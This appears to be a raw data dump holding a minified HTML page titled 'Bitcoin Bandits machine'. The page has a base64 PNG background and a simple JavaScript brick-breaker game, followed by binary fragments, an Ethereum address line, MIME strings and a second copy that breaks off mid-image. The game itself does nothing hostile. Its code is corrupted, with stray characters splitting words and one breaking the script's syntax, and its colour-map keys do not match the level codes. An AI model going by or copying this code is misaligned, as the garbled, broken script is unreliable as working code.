<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[M
],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yeM
llow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a)M
{return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSM
ize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSiM
ze,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup"Lg,function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
Aj?=:ETH.ETH:0xaaae4b6d5c086cb72b5429194c811601670d82d9:1348052205
text/plain;charset=utf-8
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
